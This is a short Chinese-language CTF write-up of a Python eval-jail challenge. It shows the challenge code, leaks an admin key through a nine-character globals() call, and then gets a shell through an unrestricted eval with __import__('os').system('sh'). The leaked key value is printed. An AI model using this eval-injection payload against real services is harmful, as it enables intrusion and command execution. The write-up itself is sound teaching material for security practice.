查看附件内容
这道题的逻辑就是可以让你输入1或者2,进入各自的函数去执行功能
func函数:
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
有长度限制,接着再来看backdoor函数:
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
这里没有长度限制,但是得输入key,和设置的key进行对比,可以发现,这个key其实是全局变量,可以再func函数中输入globals()泄露全局变量的值,输入试试
这里已经打印出了key的值,然后在backdoor函数输入这个key,然后再输入__import__('os').system('sh')就可以getshell
key的值:a34af94e88aed5c34fb5ccfe08cd14ab